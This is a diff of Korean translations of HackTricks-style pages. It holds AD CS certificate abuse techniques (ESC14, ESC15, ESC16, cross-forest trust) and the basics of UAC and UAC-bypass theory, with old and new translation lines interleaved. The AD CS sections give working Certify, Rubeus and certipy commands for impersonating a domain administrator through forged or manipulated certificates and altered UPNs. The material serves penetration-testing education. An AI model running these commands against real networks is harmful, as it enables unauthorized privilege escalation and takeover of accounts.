러한 매핑의 보안성은 매핑 문자열에서 선택된 인증서 식별자들의 구체성, 고유성 및 암호학적 강도에 크게 좌우됩니다. 도메인 컨트롤러에서 강력한 인증서 바인딩 모드가 활성화되어 있더라도(이는 주로 SAN UPN/DNS 및 SID 확장에 기반한 암묵적 매핑에 영향을 줌), 잘못 구성된 `altSecurityIdentities` 항목은 매핑 로직 자체가 취약하거나 너무 관대할 경우 여전히 가장화의 직접적인 경로를 제공할 수 있습니다.
### 악용 시나리오
### Abuse Scenario
ESC14는 Active Directory(AD)의 **명시적 인증서 매핑**을, 특히 `altSecurityIdentities` 속성을 표적으로 삼는다. 이 속성이 설정되어 있으면(설계상 또는 잘못된 구성으로) 공격자는 매핑과 일치하는 인증서를 제시해 계정을 가장할 수 있다.
ESC14는 Active Directory(AD)의 **명시적 인증서 매핑**(explicit certificate mappings), 특히 `altSecurityIdentities` 속성을 대상으로 합니다. 이 속성이 설정되어 있으면(설계상 또는 잘못된 구성으로) 공격자는 해당 매핑과 일치하는 인증서를 제시하여 계정을 가장할 수 있습니다.
#### 시나리오 A: 공격자가 `altSecurityIdentities`에 쓸 수 있는 경우
#### Scenario A: Attacker Can Write to `altSecurityIdentities`
**전제조건**: 공격자는 대상 계정의 `altSecurityIdentities` 속성에 쓰기 권한이 있거나 대상 AD 객체에 대해 다음 중 하나의 권한 형태로 이를 부여할 수 있는 권한을 가지고 있다:
**전제 조건**: 공격자가 대상 계정의 `altSecurityIdentities` 속성에 쓸 수 있는 권한을 가지고 있거나, 대상 AD 객체에 대해 다음 권한 중 하나를 부여할 수 있는 권한을 가지고 있음:
- Write property `altSecurityIdentities`
- Write property `Public-Information`
- Write property (all)
@ -726,31 +724,30 @@ ESC14는 Active Directory(AD)의 **명시적 인증서 매핑**을, 특히 `altS
- `GenericAll`
- Owner*.
#### 시나리오 B: 대상이 X509RFC822(이메일)으로 약한 매핑을 가지고 있는 경우
#### Scenario B: Target Has Weak Mapping via X509RFC822 (Email)
- **전제조건**: 대상이 `altSecurityIdentities`에 약한 X509RFC822 매핑을 가지고 있다. 공격자는 피해자의 mail 속성 값을 대상의 X509RFC822 이름과 일치시키고, 피해자 이름으로 인증서를 발급받아 이를 사용해 대상 계정으로 인증할 수 있다.
- **전제 조건**: 대상이 altSecurityIdentities에 약한 X509RFC822 매핑을 가지고 있음. 공격자는 피해자의 mail 속성을 대상의 X509RFC822 이름과 일치하도록 설정하고, 피해자 이름으로 인증서를 발급받아 그 인증서를 사용해 대상 계정으로 인증할 수 있음.
#### 시나리오 C: 대상이 X509IssuerSubject 매핑을 가지고 있는 경우
#### Scenario C: Target Has X509IssuerSubject Mapping
- **전제조건**: 대상이 `altSecurityIdentities`에 약한 X509IssuerSubject 명시적 매핑을 가지고 있다. 공격자는 피해자 프린시펄의 `cn` 또는 `dNSHostName` 속성을 대상의 X509IssuerSubject 매핑의 주체(subject)와 일치하도록 설정할 수 있다. 그런 다음 공격자는 피해자 이름으로 인증서를 발급받아 이 인증서를 사용해 대상 계정으로 인증할 수 있.
- **전제 조건**: 대상이 `altSecurityIdentities`에 약한 X509IssuerSubject 명시적 매핑을 가지고 있음. 공격자는 피해자 주체의 `cn` 또는 `dNSHostName` 속성을 대상의 X509IssuerSubject 매핑의 subject와 일치하도록 설정할 수 있음. 그 후 공격자는 피해자 이름으로 인증서를 발급받아 이 인증서를 사용해 대상 계정으로 인증할 수 있.
#### 시나리오 D: 대상이 X509SubjectOnly 매핑을 가지고 있는 경우
#### Scenario D: Target Has X509SubjectOnly Mapping
- **전제조건**: 대상이 `altSecurityIdentities`에 약한 X509SubjectOnly 명시적 매핑을 가지고 있다. 공격자는 피해자 프린시펄의 `cn` 또는 `dNSHostName` 속성을 대상의 X509SubjectOnly 매핑의 주체와 일치하도록 설정할 수 있다. 그런 다음 공격자는 피해자 이름으로 인증서를 발급받아 이 인증서를 사용해 대상 계정으로 인증할 수 있.
- **전제 조건**: 대상이 `altSecurityIdentities`에 약한 X509SubjectOnly 명시적 매핑을 가지고 있음. 공격자는 피해자 주체의 `cn` 또는 `dNSHostName` 속성을 대상의 X509SubjectOnly 매핑의 subject와 일치하도록 설정할 수 있음. 이후 공격자는 피해자 이름으로 인증서를 발급받아 이 인증서를 사용해 대상 계정으로 인증할 수 있.
### 구체적 조치
### concrete operations
#### Scenario A
#### 시나리오 A
인증서 템플릿 `Machine`의 인증서를 요청
Request a certificate of the certificate template `Machine`
```bash
.\Certify.exe request /ca:<ca> /template:Machine /machine
```
인증서를 저장하고 변환하세요
인증서를 저장하고 변환하세요.
```bash
certutil -MergePFX .\esc13.pem .\esc13.pfx
```
인증(인증서 사용)
인증 (인증서 사용하여)
```bash
.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
```
@ -758,27 +755,27 @@ certutil -MergePFX .\esc13.pem .\esc13.pfx
```bash
Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
```
For more specific attack methods in various attack scenarios, please refer to the following: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
다양한 공격 시나리오에서 더 구체적인 공격 방법은 다음을 참고하세요: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
## EKUwu Application Policies(CVE-2024-49019) - ESC15
### 설명
https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc 에 있는 설명은 매우 상세합니다. 아래는 원문 인용입니다.
https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc 설명은 매우 상세합니다. 아래는 원문 인용입니다.
Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
### 악용
다음은 참조된 [이 링크]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
다음은 [이 링크]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
Certipy's `find` command can help identify V1 templates that are potentially susceptible to ESC15 if the CA is unpatched.
Certipy`find` 명령은 CA가 패치되지 않은 경우 ESC15에 취약할 가능성이 있는 V1 템플릿을 식별하는 데 도움이 될 수 있습니다.
```bash
certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
```
#### 시나리오 A: Schannel을 통한 직접적인 가장
#### 시나리오 A: Schannel을 통한 직접 가장
**1단계: 인증서를 요청하고 "Client Authentication" Application Policy와 대상 UPN을 주입합니다.** 공격자 `attacker@corp.local`는 "WebServer" V1 템플릿(which allows enrollee-supplied subject)을 사용하여 `administrator@corp.local`를 타깃으로 합니다.
**Step 1: 인증서를 요청하면서 "Client Authentication" Application Policy와 대상 UPN을 주입합니다.** 공격자 `attacker@corp.local`는 "WebServer" V1 템플릿(가입자가 제공한 subject를 허용함)을 사용하여 `administrator@corp.local`을 대상으로 합니다.
```bash
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
@ -787,17 +784,17 @@ certipy req \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
-application-policies 'Client Authentication'
```
- `-template 'WebServer'`: 취약한 V1 템플릿으로 "Enrollee supplies subject" 설정이 있습니다.
- `-application-policies 'Client Authentication'`: CSR의 Application Policies 확장에 OID `1.3.6.1.5.5.7.3.2`입합니다.
- `-template 'WebServer'`: 취약한 V1 템플릿으로, "Enrollee supplies subject"가 설정된 템플릿입니다.
- `-application-policies 'Client Authentication'`: CSR의 Application Policies 확장에 OID `1.3.6.1.5.5.7.3.2`입합니다.
- `-upn 'administrator@corp.local'`: 사칭을 위해 SAN에 UPN을 설정합니다.
**단계 2: 획득한 인증서를 사용하여 Schannel (LDAPS) 통해 인증합니다.**
**2단계: 획득한 인증서를 사용하여 Schannel (LDAPS) 통해 인증합니다.**
```bash
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
```
#### 시나리오 B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
**1단계: V1 템플릿( "Enrollee supplies subject")에서 인증서를 요청하고 "Certificate Request Agent" Application Policy를 주입합니다.** 이 인증서는 공격자(`attacker@corp.local`)가 enrollment agent가 되기 위한 것입니다. 여기서는 공격자의 ID에 대해 UPN을 지정하지 않습니다. 목표는 에이전트 권한입니다.
**1단계: V1 템플릿( "Enrollee supplies subject" 포함)에서 인증서를 요청하고, "Certificate Request Agent" Application Policy를 주입합니다.** 이 인증서는 공격자(`attacker@corp.local`)가 enrollment agent가 되기 위해 발급받는 것입니다. 여기서는 공격자 자신의 신원에 UPN을 지정하지 않습니다 — 목표는 agent 권한 획득이기 때문입니다.
```bash
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
@ -807,7 +804,7 @@ certipy req \
```
- `-application-policies 'Certificate Request Agent'`: OID `1.3.6.1.4.1.311.20.2.1`을 주입합니다.
**2단계: "agent" 인증서를 사용해 대상 권한 있는 사용자 대신 인증서를 요청합니다.** 이것은 ESC3와 유사한 단계로, 1단계에서 획득한 인증서를 agent 인증서로 사용합니다.
**단계 2: "agent" 인증서를 사용하여 대상 특권 사용자를 대신해 인증서를 요청합니다.** 이는 ESC3-like 단계로, 단계 1의 인증서를 agent 인증서로 사용합니다.
```bash
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
@ -815,7 +812,7 @@ certipy req \
-ca 'CORP-CA' -template 'User' \
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
```
**3단계: "on-behalf-of" 인증서를 사용하여 특권 사용자로 인증합니다.**
**3단계: "on-behalf-of" 인증서를 사용하여 특권 사용자로 인증다.**
```bash
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
```
@ -823,81 +820,82 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
### 설명
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** 는 AD CS의 구성에서 모든 인증서에 **szOID_NTDS_CA_SECURITY_EXT** 확장의 포함을 강제하지 않을 경우 공격자가 다음과 같이 이를 악용할 수 있는 시나리오를 의미합니다:
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)**는 AD CS의 구성에서 모든 인증서에 **szOID_NTDS_CA_SECURITY_EXT** 확장을 포함하도록 강제하지 않을 경우 공격자가 다음과 같이 이 취약점을 악용할 수 있는 시나리오를 의미합니다:
1. 인증서를 **without SID binding** 상태로 요청합니다.
1. **SID binding 없이** 인증서를 요청합니다.
2. 이 인증서를 **for authentication as any account** 용도로 사용하여, 예를 들어 높은 권한을 가진 계정(예: Domain Administrator)을 가장합니다.
2. 이 인증서를 **모든 계정으로 인증하는 데** 사용하여, 예를 들어 높은 권한의 계정(예: 도메인 관리자)을 사칭합니다.
자세한 원리는 다음 글을 참고하세요: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
자세한 원리는 다음 글을 참조하세요:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
### 악용
다음 내용은 [이 링크](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally)를 참고한 것입니다. 자세한 사용 방법은 해당 페이지를 확인하세요.
다음은 [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally)를 참조한 내용입니다. 자세한 사용 방법은 클릭하여 확인하세요.
Active Directory Certificate Services (AD CS) 환경이 **ESC16**에 취약한지 여부를 식별하려면
Active Directory Certificate Services (AD CS) 환경이 **ESC16**에 취약한지 여부를 확인하려면
```bash
certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
```
**단계 1: 피해자 계정의 초기 UPN 읽기 (선택 사항 - 복원을 위해).**
**1단계: 피해자 계정의 초기 UPN 읽기 (선택 사항 - 복원을 위해).**
```bash
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -user 'victim' \
read
```
**2단계: 피해자 계정의 UPN을 대상 관리자 `sAMAccountName`으로 업데이트합니다.**
**단계 2: 피해자 계정의 UPN을 대상 관리자 계정의 `sAMAccountName`으로 업데이트합니다.**
```bash
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'administrator' \
-user 'victim' update
```
**3단계: (필요한 경우) "victim" 계정의 자격 증명 확보 (예: Shadow Credentials를 통해).**
**단계 3: (필요한 경우) "victim" 계정의 자격 증명 획득(예: Shadow Credentials를 통해).**
```shell
certipy shadow \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -account 'victim' \
auto
```
**Step 4: ESC16에 취약한 CA에서 _적절한 클라이언트 인증 템플릿_ (예: "User")으로 "victim" 사용자로 인증서를 요청합니다.** CA가 ESC16에 취약하기 때문에, 템플릿의 해당 확장 설정과 관계없이 발급된 인증서에서 SID 보안 확장을 자동으로 생략합니다. Kerberos credential cache 환경 변수(셸 명령):
**Step 4: ESC16-vulnerable CA에서 _any suitable client authentication template_ (예: "User") 중 하나를 사용해 "victim" 사용자로 인증서를 요청합니다.** CA가 ESC16에 취약하므로, 템플릿의 해당 확장 설정에 관계없이 발급된 인증서에서 SID security extension을 자동으로 생략합니다. Kerberos credential cache 환경 변수를 설정합니다 (쉘 명령):
```bash
export KRB5CCNAME=victim.ccache
```
그런 다음 인증서를 요청합니다:
그런 다음 인증서를 요청하세요:
```bash
certipy req \
-k -dc-ip '10.0.0.100' \
-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
-template 'User'
```
**단계 5: "victim" 계정의 UPN을 원래대로 되돌립니다.**
**5단계: "victim" 계정의 UPN을 복원합니다.**
```bash
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
-user 'victim' update
```
**단계 6: 대상 관리자 계정으로 인증합니다.**
**6단계: 대상 관리자로 인증합니다.**
```bash
certipy auth \
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
-username 'administrator' -domain 'corp.local'
```
## 인증서를 이용한 포리스트 침해(수동태로 설명)
## Compromising Forests with Certificates Explained in Passive Voice
### 손상된 CA에 의해 깨지는 포리스트 신뢰
### Breaking of Forest Trusts by Compromised CAs
**cross-forest enrollment** 구성은 비교적 간단하게 설정된다. 리소스 포리스트의 **root CA certificate**는 관리자에 의해 각 계정 포리스트(account forests)에 **게시**되며, 리소스 포리스트의 **Enterprise CA** certificates는 각 계정 포리스트의 `NTAuthCertificates` 및 AIA 컨테이너에 **추가**된다. 즉, 이 구성은 해당 PKI를 관리하는 모든 다른 포리스트에 대해 리소스 포리스트의 **CA에 대한 완전한 제어권**이 부여되도록 한다. 만약 이 CA가 공격자에 의해 **손상(compromised)**된다면, 리소스 및 계정 포리스트의 모든 사용자용 **certificates가 공격자에 의해 위조(forged)**될 수 있으며, 결과적으로 포리스트의 보안 경계가 깨지게 된다.
cross-forest enrollment 구성은 비교적 간단하다. resource forest의 root CA certificate는 관리자에 의해 account forests에 게시되며, resource forest의 enterprise CA certificates는 각 account forest의 NTAuthCertificates 및 AIA 컨테이너에 추가된다. 이를 정리하면, 이 구성은 resource forest의 CA에 그 CA가 관리하는 PKI를 사용하는 모든 다른 포리스트에 대한 완전한 제어권을 부여한다. 만약 이 CA가 공격자에 의해 탈취된다면, resource 및 account forests 양쪽의 모든 사용자에 대한 certificates가 공격자에 의해 위조될 수 있어 포리스트의 보안 경계가 무너진다.
### 외부 주체에게 부여된 등록 권한
### Enrollment Privileges Granted to Foreign Principals
다중 포리스트 환경에서는 Enterprise CA**certificate templates**를 게시하여 **Authenticated Users 또는 foreign principals**(Enterprise CA가 속한 포리스트 외부의 사용자/그룹)에게 **등록(enrollment) 및 편집 권한**을 허용하는 경우에 주의가 필요하다.
트러스트를 통한 인증이 이루어지면 AD에 의해 사용자의 토큰에 **Authenticated Users SID**가 추가된다. 따라서 도메인에 **Authenticated Users에 대한 등록 권한을 허용**하는 템플릿을 가진 Enterprise CA가 존재한다면, 다른 포리스트의 사용자가 해당 템플릿을 **등록(enroll)**할 수 있게 될 가능성이 있다. 마찬가지로 템플릿이 명시적으로 **foreign principal에게 등록 권한을 부여**하는 경우, **cross-forest access-control 관계가 생성**되어 한 포리스트의 주체가 다른 포리스트의 템플릿에 **등록(enroll)**할 수 있도록 허용된다.
다중 포리스트 환경에서는 Enterprise CAs가 **publish certificate templates** 하여 **Authenticated Users or foreign principals** (해당 Enterprise CA가 속한 포리스트 외부의 사용자/그룹)에게 **enrollment and edit rights**를 허용하는 경우에 주의가 필요하다.\
신뢰를 통해 인증이 이루어지면, AD에 의해 Authenticated Users SID가 사용자의 token에 추가된다. 따라서, 도메인이 Authenticated Users에 대해 enrollment 권한을 허용하는 template을 가진 Enterprise CA를 보유하고 있다면, 다른 포리스트의 사용자가 해당 template을 enrollment할 수 있다. 마찬가지로, 어떤 template이 명시적으로 foreign principal에게 enrollment 권한을 부여하면, cross-forest access-control relationship이 생성되어 한 포리스트의 principal이 다른 포리스트의 template에 enrollment할 수 있게 된다.
두 경우 모두 한 포리스트에서 다른 포리스트로의 **공격 표면(attack surface)**이 증가하게 된다. 템플릿 설정은 공격자가 외부 도메인에서 추가 권한을 얻기 위해 악용될 수 있다.
두 경우 모두 한 포리스트에서 다른 포리스트로의 attack surface가 증가한다. certificate template의 설정은 공격자에 의해 악용되어 외부 도메인에서 추가 권한을 획득하는 데 이용될 수 있다.
## 참고자료
## References
- [Certify 2.0 SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
- [GhostPack/Certify](https://github.com/GhostPack/Certify)

View File

@ -1,106 +1,106 @@
# UAC - User Account Control
# UAC - 사용자 계정 컨트롤
{{#include ../../banners/hacktricks-training.md}}
## UAC
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 는 **권한 상승 작업에 대한 동의 프롬프트(consent prompt)를 제공하는 기능**입니다. 애플리케이션은 서로 다른 `integrity` 레벨을 가지며, **높은 레벨**의 프로그램은 **시스템을 손상시킬 수 있는 작업**을 수행할 수 있습니다. UAC가 활성화되어 있으면, 관리자가 해당 애플리케이션/작업에 관리자 수준 접근을 명시적으로 허용하지 않는 한 애플리케이션과 작업은 항상 **비관리자 계정의 보안 컨텍스트로 실행됩니다**. 이는 관리자가 의도치 않은 변경으로부터 보호하기 위한 편의 기능이나 보안 경계(security boundary)로 간주되지는 않습니다.
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 는 **권한 상승 작업에 대한 동의 프롬프트**를 제공하는 기능입니다. 응용 프로그램은 서로 다른 `integrity` 레벨을 가지며, **높은 레벨**의 프로그램은 **시스템을 손상시킬 수 있는** 작업을 수행할 수 있습니다. UAC가 활성화되면, 애플리케이션과 작업은 관리자가 명시적으로 해당 애플리케이션/작업에 관리자 수준 접근을 허용하지 않는 한 항상 **비관리자 계정의 보안 컨텍스트로 실행됩니다**. 이는 관리자를 의도치 않은 변경으로부터 보호하는 편의 기능이지만 보안 경계로 간주되지는 않습니다.
For more info about integrity levels:
integrity 레벨에 대한 자세한 정보:
{{#ref}}
../windows-local-privilege-escalation/integrity-levels.md
{{#endref}}
UAC가 적용되면, 관리자 사용자는 개의 토큰을 부여받습니다: 일반 작업을 수행하는 표준 사용자 토큰과 관리자 권한을 가진 토큰입니다.
UAC가 적용되면, 관리자 사용자는 2개의 토큰을 부여받습니다: 일반 작업을 수행하는 표준 사용자 토큰과 관리자 권한을 가진 토큰입니다.
이 [페이지](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 에서는 UAC의 동작을 심도 있게 설명하며 로그온 프로세스, 사용자 경험 및 UAC 아키텍처를 포함합니다. 관리자는 조직에 맞게 로컬 수준에서 보안 정책(secpol.msc)을 사용하여 UAC 동작을 구성하거나 Active Directory 도메인 환경에서 Group Policy Objects(GPO)를 통해 구성·배포할 수 있습니다. 다양한 설정은 [여기](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings)에서 자세히 설명되어 있습니다. UAC에 대해 설정할 수 있는 Group Policy 설정은 10가지가 있으며, 아래 표는 추가 세부 정보를 제공합니다:
이 [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 는 UAC의 동작 방식(로그온 프로세스, 사용자 경험, UAC 아키텍처 포함)을 매우 상세히 설명합니다. 관리자는 로컬 수준에서(secpol.msc 사용) 보안 정책으로 조직에 맞게 UAC 동작을 구성할 수 있으며, Active Directory 도메인 환경에서는 Group Policy Objects(GPO)를 통해 구성·배포할 수 있습니다. 다양한 설정은 [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings)에서 자세히 설명되어 있습니다. UAC에 대해 설정할 수 있는 Group Policy 설정은 10개가 있으며, 다음 표는 추가 세부 정보를 제공합니다:
| Group Policy Setting | Registry Key | Default Setting |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled |
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled |
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries |
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop |
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) |
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled |
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled |
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled |
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled |
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled |
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | 비활성화 |
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | 비활성화 |
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | 비-Windows 바이너리에 대해 동의 요청 |
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | 보안 데스크톱에서 자격 증명 요청 |
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | 활성화(홈의 기본값) / 비활성화(엔터프라이즈의 기본값) |
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | 비활성화 |
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | 활성화 |
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | 활성화 |
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | 활성화 |
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | 활성화 |
### UAC 우회 이론
### UAC Bypass Theory
일부 프로그램은 사용자가 **administrator group**에 속해 있으면 **autoelevated automatically** 됩니다. 이러한 바이너리들은 내부 _**Manifests**_에 _**autoElevate**_ 옵션이 _**True**_로 설정되어 있습니다. 또한 해당 바이너리는 **signed by Microsoft** 되어 있어야 합니다.
일부 프로그램은 사용자가 **관리자 그룹**에 속해 있으면 **자동으로 autoelevated** 될 수 있습니다. 이러한 바이너리들은 그들의 _**Manifests**_ 안에 값이 _**True**_인 _**autoElevate**_ 옵션을 포함하고 있어야 하며, 또한 바이너리는 **Microsoft에 의해 서명**되어 있어야 합니다.
많은 auto-elevate 프로세스는 **COM objects 또는 RPC servers를 통해 기능을 노출**하며, 이는 medium integrity(일반 사용자 권한)로 실행되는 프로세스에서 호출될 수 있습니다. 참고로 COM(Component Object Model)과 RPC(Remote Procedure Call)는 Windows 프로그램이 서로 다른 프로세스 간에 통신하고 기능을 실행하는 방법입니다. 예를 들어, **`IFileOperation COM object`** 파일 작업(복사, 삭제, 이동)을 처리하도록 설계되었으며 프롬프트 없이 권한을 자동으로 상승시킬 수 있습니다.
많은 auto-elevate 프로세스는 **COM objects 또는 RPC servers를 통해 기능을 제공**하며, 이는 medium integrity(일반 사용자 수준 권한)로 실행되는 프로세스에서 호출할 수 있습니다. COM(Component Object Model)과 RPC(Remote Procedure Call)는 Windows 프로그램이 서로 다른 프로세스 간에 통신하고 기능을 실행하는 방법입니다. 예를 들어, **`IFileOperation COM object`** 파일 작업(복사, 삭제, 이동)을 처리하도록 설계되었으며 프롬프트 없이 자동으로 권한을 상승시킬 수 있습니다.
일부 검사가 수행될 수 있다는 점을 주의해야 하는데, 예를 들어 프로세스가 **System32 directory**에서 실행되었는지 확인하는 검사 등이 있습니다. 이는 예를 들어 **injecting into explorer.exe** 또는 다른 System32에 위치한 실행 파일로 인젝션하여 우회할 수 있습니다.
프로세스가 **System32 directory**에서 실행되었는지 확인하는 등의 검사가 수행될 수 있는데, 이는 예를 들어 **injecting into explorer.exe** 또는 System32에 위치한 다른 실행 파일에 주입함으로써 우회할 수 있습니다.
